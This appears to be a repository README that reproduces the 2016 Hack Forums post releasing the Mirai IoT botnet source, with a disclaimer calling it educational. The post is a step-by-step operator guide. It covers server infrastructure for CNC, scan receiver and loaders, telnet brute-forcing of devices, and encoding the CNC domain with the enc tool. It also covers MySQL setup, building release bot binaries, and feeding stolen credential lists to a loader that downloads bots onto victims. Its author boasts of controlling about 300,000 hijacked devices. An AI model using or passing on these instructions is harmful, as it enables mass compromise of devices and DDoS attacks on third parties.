The code was released on [Hack Forums](http://hackforums.net/showthread.php?tid=5420472). Here's a post on [Krebs On Security](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). 4 | 5 | _Disclaimer: Not my original work. For educational purposes._ 6 | 7 | ## Forum Post 8 | 9 | Below is the forum post from hackforums with slight modifications for better viewing and links to the files in this repo: 10 | 11 | ### [FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release 12 | 13 | #### Preface 14 | 15 | Greetz everybody, 16 | 17 | When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot. 18 | 19 | So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping. 20 | 21 | So, I am your senpai, and I will treat you real nice, my hf-chan. 22 | 23 | And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol 24 | 25 | Also, shoutout to this blog post by malwaremustdie: 26 | 27 | - [blog.malwaremustdie.org](http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html) 28 | - [archive.org copy](https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html) <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol 29 | 30 | Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL 31 | 32 | Let me give you some slaps back - 33 | - port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together 34 | - /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb 35 | - You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow ;) try harder skiddo 36 | - Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol 37 | - you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland 38 | 39 | 5 slaps for you 40 | 41 | Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back. 42 | 43 | Just as I forever be free, you will be doomed to mediocracy forever. 44 | 45 | 46 | #### Requirements 47 | 48 | **Bare Minimum** 49 | 2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading 50 | 51 | **Pro Setup (my setup)** 52 | 53 | 2 VPS and 4 servers 54 | - 1 VPS with extremely bulletproof host for database server 55 | - 1 VPS, rootkitted, for scanReceiver and distributor 56 | - 1 server for CNC (used like 2% CPU with 400k bots) 57 | - 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally) 58 | 59 | 60 | **Infrastructure Overview** 61 | 62 | - To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address 63 | - Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in. 64 | - Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder. 65 | 66 | Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading. 67 | 68 | The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs. 69 | 70 | **Configuring Bot** 71 | Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working. 72 | 73 | - TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :) 74 | - TABLE_CNC_PORT - Port to connect to, its set to 23 already 75 | - TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to 76 | - TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already. 77 | 78 | In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file 79 | 80 | Run this inside mirai directory: 81 | 82 | ``` 83 | ./build.sh debug telnet 84 | ``` 85 | 86 | You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool 87 | 88 | Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this: 89 | 90 | ``` 91 | ./debug/enc string fuck.the.police.com 92 | ``` 93 | 94 | The output should look like this 95 | ``` 96 | XOR'ing 20 bytes of data... 97 | \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 98 | ``` 99 | 100 | To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see "XOR'ing 20 bytes of data". This value must replace the last argument tas well. So for example, the table.c line originally looks like this 101 | 102 | ``` 103 | add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com 104 | ``` 105 | 106 | Now that we know value from enc tool, we update it like this: 107 | 108 | ``` 109 | add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com 110 | ``` 111 | 112 | Some values are strings, some are port (uint16 in network order / big endian). 113 | 114 | **Configuring CNC** 115 | 116 | ``` 117 | apt-get install mysql-server mysql-client 118 | ``` 119 | 120 | CNC requires database to work. When you install database, go into it and run following commands: 121 | 122 | - [db create sql](db_create.sql) or copy from http://pastebin.com/86d0iL9g 123 | 124 | This will create database for you. To add your user, 125 | ``` 126 | INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); 127 | ``` 128 | 129 | Now, go into file `./mirai/cnc/main.go` 130 | 131 | Edit these values 132 | 133 | ``` 134 | const DatabaseAddr string = "127.0.0.1" 135 | const DatabaseUser string = "root" 136 | const DatabasePass string = "password" 137 | const DatabaseTable string = "mirai" 138 | ``` 139 | 140 | To the information for the mysql server you just installed 141 | 142 | 143 | **Setting Up Cross Compilers** 144 | 145 | Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload `.bashrc` file for these changes to take effect. 146 | 147 | - [script](script.sh) or pastebin: http://pastebin.com/1rRCc3aD 148 | 149 | **Building CNC+Bot** 150 | 151 | The CNC, bot, and related tools: 152 | - [loader](loader) 153 | - [mirai](mirai) 154 | 155 | How to build bot + CNC 156 | In mirai folder, there is build.sh script. 157 | 158 | ``` 159 | ./build.sh debug telnet 160 | ``` 161 | 162 | Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to `./mirai/debug` folder 163 | 164 | ``` 165 | ./build.sh release telnet 166 | ``` 167 | 168 | Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: `mirai.$ARCH` to `./mirai/release` folder 169 | 170 | 171 | **Building Echo Loader** 172 | 173 | Loader reads telnet entries from STDIN in following format: 174 | 175 | ``` 176 | ip:port user:pass 177 | ``` 178 | 179 | It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. 180 | 181 | ``` 182 | ./build.sh 183 | ``` 184 | 185 | Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this 186 | 187 | ``` 188 | cat file.txt | ./loader 189 | ``` 190 | 191 | Remember to `ulimit`! 192 | 193 | Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it" 194 |
